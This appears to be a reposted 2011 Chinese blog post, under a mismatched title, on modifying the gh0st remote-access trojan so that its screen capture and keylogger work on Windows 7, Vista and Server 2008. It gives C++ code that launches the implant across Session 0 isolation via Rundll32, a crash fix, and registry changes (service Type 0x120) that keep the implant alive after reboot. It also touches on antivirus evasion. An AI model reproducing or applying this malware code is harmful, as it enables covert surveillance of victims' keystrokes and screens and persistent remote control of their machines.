英语趣配音怎么找教材:网络安全:gh0st支持win7,windows 2008屏幕和键盘记录

来源:百度文库 编辑:中财网 时间:2024/04/27 17:22:14
网络安全:gh0st支持win7,windows 2008屏幕和键盘记录 [原创 2011-10-10 21:20:52]    字号:大 中 小 gh0st原始版本是支持windows7等系统的,只是屏幕和键盘记录有些问题,问题的原因:

 

   在Windows XP,Windows Server 2003以及其他更早期的Windows操作系统中,所有操作系统服务和应用程序都在相同的session中运行,这个session由第一个登陆系统的用户所启动。这个session被称为Session 0。在Session 0中同时运行系统服务和应用程序会给操作系统带来一些安全风险,因为服务运行在一个更高的用户权限下,这就使得系统服务成为那些想要提升自己权限的病毒或者恶意软件的攻击目标。

 

  从Windows Vista开始,系统服务开始运行在一个被称为Session 0的特殊session中。而应用程序则被跟系统服务隔离开来,这是因为应用程序运行在由用户登录系统后创建的一系列session中。比如,Session 1对应于第一个登陆的用户,Session 2对应于第二个登录系统的用户,以此类推。

 

目前gh0st支持windows7,VISTAR,windows 2008 屏幕和键盘记录有以下两种方式:

 

1、服务启动:

    服务启动,就需要解决Session 0 与Session X 建立通信。这个跨Session会导致gh0st安装不完整,下次重新启动无法上线,因为不是Session0权限,很多注册表都写不进去,导致重启后服务被删除。例如:注册表键值(ServiceType),没有正确写入.

2、vbs启动项启动:

   这个原理就比较简单,直接让gh0st通信全部在应用层,也就是全部在Session X,就没有所谓的跨Session问题,但是这种方式容易暴露,免杀不好做。

 服务启动这种方式支持win7等屏幕代码,网上有很多,相信大家在测试的时候遇到各种问题,现在我把它们列出来。

 

#include "win7.h"

//////////////////////////////////////////////////////////////////////////

// svchost.cpp

HANDLE hThread;

OSVERSIONINFO OsVerInfoEx;

OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&OsVerInfoEx);

if (OsVerInfoEx.dwMajorVersion < 6 )//判断那种系统,如果小于,直接用原来的代码

{

hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main,

(LPVOID)svcname, 0, NULL);

}

else

{

CHAR lpCommand[256];

CHAR Start[MAX_PATH];

GetModuleFileName(CKeyboardManager::g_hInstance,Start,sizeof(Start));

wsprintf(lpCommand,"Rundll32.exe %s,main",Start);

LaunchAppIntoDifferentSession(lpCommand);

}

**********************************************************************************

------------------------------------

RunDLL                                                      问题签名:

------------------------------------                                问题事件名称:APPCRASH

C:\Windows\system32\svchost.exe 出错                    应用程序名:  Rundll32.exe

------------------------------------                                应用程序版本: 6.0.6000.16386

丢失条目:main                                                         故障模块名称: kernel32.dll

------------------------------------                          

确定

------------------------------------                             

 

这种问题,应该是HINSTANCE g_hInstance = NULL; 全局变量为空,

GetModuleFileName(g_hInstance,Start,sizeof(Start));

改成

GetModuleFileName(CKeyboardManager::g_hInstance,Start,sizeof(Start));

 

**********************************************************************************

跨Session安装服务出现的问题所在地方

//////////////////////////////////////////////////////////////////////////

// install.cpp

       if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)

       {            

              DWORD  dwServiceType = 0x120;

              WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD,

 (char *)&dwServiceType, sizeof(DWORD), 0);

       }

不支持windows7,VISTAR,windows 2008 屏幕和键盘记录注册表键值

 

虽不支持屏幕和键盘记录,重启不会掉线,服务不会删除。

 

支持windows7,VISTAR,windows 2008 屏幕和键盘记录注册表键值

 

支持屏幕和键盘记录,重启服务被删除,掉线。临时解决方法就是在第一次安装服务后,修改

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\xxx   Type值为:“0x00000120” 即可,重启不掉线,屏幕和键盘记录也支持。